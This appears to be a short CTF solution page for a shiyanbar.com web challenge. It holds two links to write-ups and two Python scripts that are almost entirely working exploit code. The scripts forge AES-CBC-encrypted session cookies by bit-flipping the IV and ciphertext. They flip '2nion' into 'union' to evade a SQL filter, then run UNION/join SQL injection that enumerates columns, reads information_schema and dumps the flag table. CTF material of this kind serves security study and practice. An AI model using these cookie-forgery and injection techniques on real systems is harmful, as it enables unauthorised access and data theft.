题目地址

http://ctf5.shiyanbar.com/web/jiandan/index.php

writeup

https://blog.csdn.net/kostart123/article/details/81222989
https://blog.csdn.net/LeeHDsniper/article/details/81089480

import requests,base64,urllib,math

def work():
    url = 'http://ctf5.shiyanbar.com/web/jiandan/index.php'
    payload = '0 union select 1,value,3 from you_want limit 1#'  
    #payload = 'x'*20

    plaintext = 'a:1:{s:2:"id";s:%d:"%s";}'%(len(payload),payload)
    badText = 'x'*16
    if len(plaintext)%16:
        if len(plaintext)%16>3:
            badText = 'x'*(len(plaintext)%16-3)+'";}'
        elif len(plaintext)%16 == 3:
            badText = '";}'
        elif len(plaintext)%16 == 1:
            badText = '}'
        else:
            badText = ';}'
    r = requests.post(url,data={'id':'x'*len(payload)})
    sc = r.headers['Set-Cookie'].split(',')

    iv = 'a'*16
    cipher = sc[1][sc[1].find('=')+1:]
    blockNum = len(cipher)/16
    cipher = base64.b64decode(urllib.unquote(cipher))
    blockNum = len(cipher)/16
    cipherBlock = [iv]
    cipherBlock += [cipher[16*i:16*(i+1)] for i in xrange(blockNum)]
    plainBlock = [plaintext[16*i:16*(i+1)] for i in xrange(blockNum)]

    for i in xrange(blockNum-1,-1,-1):
        s1 = plainBlock[i]
        s2 = cipherBlock[i]
        tmp = ''

        for j in xrange(len(s1)):
            tmp += chr(ord(s1[j])^ord(badText[j])^ord(s2[j]))

        cipherBlock[i]=tmp+s2[len(tmp):]
        if i == 0:
            iv = cipherBlock[0]

        iv_new = urllib.quote(base64.b64encode(iv))
        cipher_new = urllib.quote(base64.b64encode(''.join(cipherBlock[1:])))
        headers={'Cookie':'iv={};cipher={}'.format(iv_new,cipher_new)}

        r = requests.get(url,headers=headers)

        if i != 0: 
            tmp = r.text[r.text.find('decode')+8:r.text.rfind("')")]
            badText = base64.b64decode(tmp)[16*(i-1):16*i]
        else:
            print r.text.encode('gb18030')


work()

或者这一个

import requests
import re
from base64 import *
from urllib import quote,unquote

url="http://ctf5.shiyanbar.com/web/jiandan/index.php"

def find_flag(payload,cbc_flip_index,char_in_payload,char_to_replace):
    payload = {"id":payload}
    r=requests.post(url,data=payload)
    iv=re.findall("iv=(.*?),",r.headers['Set-Cookie'])[0]
    cipher=re.findall("cipher=(.*)",r.headers['Set-Cookie'])[0]
    cipher=unquote(cipher)
    cipher=b64decode(cipher)
    cipher_list=list(cipher)
    cipher_list[cbc_flip_index] = chr(ord(cipher_list[cbc_flip_index])^ord(char_in_payload)^ord(char_to_replace))
    cipher_new=''.join(cipher_list)
    cipher_new=b64encode(cipher_new)
    cipher_new=quote(cipher_new)
    cookie = {'iv':iv,'cipher':cipher_new}
    r=requests.post(url,cookies=cookie)
    content = r.content
    plain_base64=re.findall("base64_decode\(\'(.*?)\'\)",content)[0]
    plain=b64decode(plain_base64)
    first_block_plain="a:1:{s:2:\"id\";s:"
    iv=unquote(iv)
    iv=b64decode(iv)
    iv_list=list(iv)
    for i in range(16):
        iv_list[i]=chr(ord(plain[i]) ^ ord(iv_list[i]) ^ ord(first_block_plain[i]))
    iv_new=''.join(iv_list)
    iv_new=b64encode(iv_new)
    iv_new=quote(iv_new)
    cookie = {'iv':iv_new,'cipher':cipher_new}
    r=requests.post(url,cookies=cookie)
    return r.content
def get_columns_count():
    table_name=['a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'g', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z', 'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'G', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z']
    for i in range(len(table_name)):
        payload="(select 1)a"
        if i==0:
            payload = "0 2nion select * from("+payload+");"+chr(0);
            content=find_flag(payload,6,'2','u')
            resp=re.findall(".*(Hello!)(\d).*",content)
            if resp:
                print "table has 1 column and response position is 1"
                return payload
            else:
                print "table does not have %d columns" % (i+1)
            continue
        for t in range(i):
            payload=payload+" join (select %d)%s" % (t+2,table_name[t+1])
        payload = "0 2nion select * from("+payload+");"+chr(0);
        content=find_flag(payload,6,'2','u')
        resp=re.findall(".*(Hello!)(\d).*",content)
        if resp:
            print "table has %d column and response position is %s" % (i+1,resp[0][1])
            return payload
        else:
            print "table does not have %d columns" % (i+1)
payload=get_columns_count()
print payload
print find_flag('12',4,'2','#')
print find_flag('0 2nion select * from((select 1)a);'+chr(0),6,'2','u')
print find_flag('0 2nion select * from((select 1)a join (select 2)b join (select 3)c);'+chr(0),6,'2','u')
print find_flag('0 2nion select * from((select 1)a join (select group_concat(table_name) from information_schema.tables where table_schema regexp database())b join (select 3)c);'+chr(0),7,'2','u')
print find_flag("0 2nion select * from((select 1)a join (select group_concat(column_name) from information_schema.columns where table_name regexp 'you_want')b join (select 3)c);"+chr(0),7,'2','u')
print find_flag("0 2nion select * from((select 1)a join (select value from you_want)b join (select 3)c);"+chr(0),6,'2','u')